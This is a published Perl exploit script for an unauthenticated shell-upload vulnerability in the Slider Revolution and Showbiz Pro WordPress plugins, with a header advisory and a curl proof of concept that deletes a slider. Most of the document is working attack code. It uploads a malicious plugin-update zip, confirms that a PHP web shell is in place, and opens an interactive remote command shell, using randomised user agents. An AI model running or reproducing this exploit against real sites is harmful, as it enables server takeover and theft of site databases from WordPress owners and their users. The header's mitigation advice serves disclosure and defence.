#!/usr/bin/perl## Title: Slider Revolution/Showbiz Pro shell upload exploit# Author: Simo Ben youssef# Contact: Simo_at_Morxploit_com# Discovered: 15 October 2014# Coded: 15 October 2014# Updated: 25 November 2014# Published: 25 November 2014# MorXploit Research# http://www.MorXploit.com# Vendor: ThemePunch# Vendor url: http://themepunch.com# Software: Revslider/Showbiz Pro# Versions: <= 3.0.95 (Revslider) / Version: <= 1.7.1 (Showbiz Pro) # Products url: # http://codecanyon.net/item/slider-revolution-responsive-wordpress-plugin/2751380# http://codecanyon.net/item/showbiz-pro-responsive-teaser-wordpress-plugin/4720988# Vulnerable scripts:# revslider/revslider_admin.php# showbiz/showbiz_admin.php## About the plugins:# The #1 Slider plugin, used by millions, slider revolution is an all-purpose slide displaying solution that allows for showing almost any# kind of content whith highly customizable, transitions, effects and custom animations.# Showbiz Pro is a responsive teaser displaying solution that allows you to show WordPress Posts or any Custom Content with a set# amount of teaser items.## Description:# Slider Revolution and Showbiz Pro fail to check authentication in revslider_admin.php/showbiz_admin.php allowing an unauthenticated# attacker to abuse administrative features.# Some of the features include:# Creating/Deleting/Updating sliders# Importing/exporting sliders# Updading plugin# For a full list of functions please see revslider_admin.php/showbiz_admin.php## PoC on revslider:# 1- Deleting a slider:# root@host:/home/rootuser# curl -v --data "action=revslider_ajax_action&client_action=delete_slider&data[sliderid]=1" # http://****.com/wp-admin/admin-ajax.php# * Connected to ****.com (**.**.**.**) port 80 (#0)# > POST /wp-admin/admin-ajax.php HTTP/1.1# > User-Agent: curl/7.35.0# > Host: ****.com# > Accept: */*# > Content-Length: 73# > Content-Type: application/x-www-form-urlencoded# > # * upload completely sent off: 73 out of 73 bytes# < HTTP/1.1 200 OK# < Date: Fri, 24 Oct 2014 23:25:07 GMT# * Server Apache/2.4.6 (Unix) OpenSSL/1.0.0-fips mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 is not blacklisted# < Server: Apache/2.4.6 (Unix) OpenSSL/1.0.0-fips mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635# < X-Powered-By: PHP/5.4.18# < X-Robots-Tag: noindex# < X-Content-Type-Options: nosniff# < Expires: Wed, 11 Jan 1984 05:00:00 GMT# < Cache-Control: no-cache, must-revalidate, max-age=0# < Pragma: no-cache# < X-Frame-Options: SAMEORIGIN# < Set-Cookie: PHPSESSID=a23ex1c8a573f1d1xd28c301793ba022c; path=/# < Transfer-Encoding: chunked# < Content-Type: text/html; charset=UTF-8# < # * Connection #0 to host http://****.com left intact## {"success":true,"message":"The slider deleted","is_redirect":true,"redirect_url":"http:\/\/****.com\/wp-admin\/admin.php?page=revslider&view=sliders"}## 2- Uploading an web shell:# The following perl exploit will try to upload an HTTP php shell through the the update_plugin function# To use the exploit make sure you download first the revslider.zip and showbiz.zip files which contain cmd.php# http://www.morxploit.com/morxploits/revslider.zip# http://www.morxploit.com/morxploits/showbiz.zip# and save them it in the same directory where you have the exploit.# # Demo:# perl morxrev.pl http://localhost revslider# ===================================================# --- Revslider/Showbiz shell upload exploit# --- By: Simo Ben youssef <simo_at_morxploit_com># --- MorXploit Research www.MorXploit.com# ===================================================# [*] Target set to revslider# [*] MorXploiting http://localhost# [*] Sent payload# [+] Payload successfully executed# [*] Checking if shell was uploaded# [+] Shell successfully uploaded## Linux MorXploit 3.13.0-24-generic #47-Ubuntu SMP Fri May 2 23:30:00 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux# uid=33(www-data) gid=33(www-data) groups=33(www-data)## www-data@MorXploit:~$ ## Download:# Exploit:# http://www.morxploit.com/morxploits/morxrevbiz.pl# Exploit update zip files:# http://www.morxploit.com/morxploits/revslider.zip# http://www.morxploit.com/morxploits/showbiz.zip## Requires LWP::UserAgent# apt-get install libwww-perl# yum install libwww-perl# perl -MCPAN -e 'install Bundle::LWP'# For SSL support:# apt-get install liblwp-protocol-https-perl# yum install perl-Crypt-SSLeay## Mitigation:# Besides the recently LFI vulnerability that was published couple months ago, this is another vulnerability that revslider developers have # decided to patch without releasing a full security advisory, leaving thousands of revslider users who didn't update their plugin to the# latest version (=> 3.0.96) vulnerable to this nasty flaw, revsliders developers will argue the fact that their slider comes with an# auto-update feature, but the problem is that this plugin is bundled with a lot of themes, which means that those themes users may not get# plugin updates or will have to pay to get the update. In other words revslider developers believe that every user should have the# auto-update feature on, otherwise ... you are screwed.# Obviously this is way more critical than the LFI vulnerability because it allows shell access giving attackers access to the target system# as well as the ability to dump the entire wordpress database locally.# That being said, upgrade immediately to the latest version or disable/switch to another plugin.# As for Showbiz Pro, sadly the vulnerability has never been patched as we successfully exploited it in the latest version (1.7.1).## Author disclaimer:# The information contained in this entire document is for educational, demonstration and testing purposes only.# Author cannot be held responsible for any malicious use or damage. Use at your own risk.## Got comments or questions?# Simo_at_MorXploit_dot_com## Did you like this exploit?# Feel free to buy me a beer =)# My btc address: 1Ko12CUAFoWn8syrvg4aQokFedNiwD6d7u# Cheers!
use LWP::UserAgent;
use MIME::Base64;
use strict;
sub banner {
system(($^O eq 'MSWin32') ? 'cls':'clear');print"===================================================\n";print"--- Revslider/Showbiz shell upload exploit\n";print"--- By: Simo Ben youssef <simo_at_morxploit_com>\n";print"--- MorXploit Research www.MorXploit.com\n";print"===================================================\n";}if(!defined ($ARGV[0]&& $ARGV[1])){
banner();print"perl $0 <target> <plugin>\n";print"perl $0 http://localhost revslider\n";print"perl $0 http://localhost showbiz\n";
exit;}
my $zip1 ="revslider.zip";
my $zip2 ="showbiz.zip";
unless (-e ($zip1 && $zip2)){
banner();print"[-] $zip1 or $zip2 not found! RTFM\n";
exit;}
my $host = $ARGV[0];
my $plugin = $ARGV[1];
my $action;
my $update_file;if($plugin eq "revslider"){
$action ="revslider_ajax_action";
$update_file ="$zip1";}
elsif ($plugin eq "showbiz"){
$action ="showbiz_ajax_action";
$update_file ="$zip2";}else{
banner();print"[-] Wrong plugin name\n";print"perl $0 <target> <plugin>\n";print"perl $0 http://localhost revslider\n";print"perl $0 http://localhost showbiz\n";
exit;}
my $target ="wp-admin/admin-ajax.php";
my $shell ="wp-content/plugins/$plugin/temp/update_extract/$plugin/cmd.php";
sub randomagent {
my @array =('Mozilla/5.0 (Windows NT 5.1; rv:31.0) Gecko/20100101 Firefox/31.0','Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20120101 Firefox/29.0','Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)','Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36','Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.63 Safari/537.31');
my $random = $array[rand @array];return($random);}
my $useragent = randomagent();
my $ua = LWP::UserAgent->new(ssl_opts =>{ verify_hostname =>0});
$ua->timeout(10);
$ua->agent($useragent);
my $status = $ua->get("$host/$target");
unless ($status->is_success){
banner();print"[-] Xploit failed: ". $status->status_line ."\n";
exit;}
banner();print"[*] Target set to $plugin\n";print"[*] MorXploiting $host\n";
my $exploit = $ua->post("$host/$target", Cookie =>"", Content_Type =>"form-data", Content =>[action =>"$action", client_action =>"update_plugin", update_file =>["$update_file"]]);print"[*] Sent payload\n";if($exploit->decoded_content =~/Wrong update extracted folder/){print"[+] Payload successfully executed\n";}
elsif ($exploit->decoded_content =~/Wrong request/){print"[-] Payload failed: Not vulnerable\n";
exit;}
elsif ($exploit->decoded_content =~ m/0$/){print"[-] Payload failed: Plugin unavailable\n";
exit;}else{
$exploit->decoded_content =~/<\/b>(.*?)<br>/;print"[-] Payload failed:$1\n";print"[-] ". $exploit->decoded_content unless (defined $1);print"\n";
exit;}print"[*] Checking if shell was uploaded\n";
sub rndstr{ join'', @_[map{ rand @_ }1.. shift ]}
my $rndstr = rndstr(8,1..9,'a'..'z');
my $cmd1 = encode_base64("echo $rndstr");
my $status = $ua->get("$host/$shell?cmd=$cmd1");if($status->decoded_content =~/system\(\) has been disabled/){print"[-] Xploit failed: system() has been disabled\n";
exit;}
elsif ($status->decoded_content !~/$rndstr/){print"[-] Xploit failed: ". $status->status_line ."\n";
exit;}
elsif ($status->decoded_content =~/$rndstr/){print"[+] Shell successfully uploaded\n";}
my $cmd2 = encode_base64("whoami");
my $whoami = $ua->get("$host/$shell?cmd=$cmd2");
my $cmd3 = encode_base64("uname -n");
my $uname = $ua->get("$host/$shell?cmd=$cmd3");
my $cmd4 = encode_base64("id");
my $id= $ua->get("$host/$shell?cmd=$cmd4");
my $cmd5 = encode_base64("uname -a");
my $unamea = $ua->get("$host/$shell?cmd=$cmd5");print $unamea->decoded_content;print $id->decoded_content;
my $wa = $whoami->decoded_content;
my $un = $uname->decoded_content;
chomp($wa);
chomp($un);while(){print"\n$wa\@$un:~\$ ";
chomp(my $cmd=<STDIN>);if($cmd eq "exit"){print"Aurevoir!\n";
exit;}
my $ucmd = encode_base64("$cmd");
my $output = $ua->get("$host/$shell?cmd=$ucmd");print $output->decoded_content;}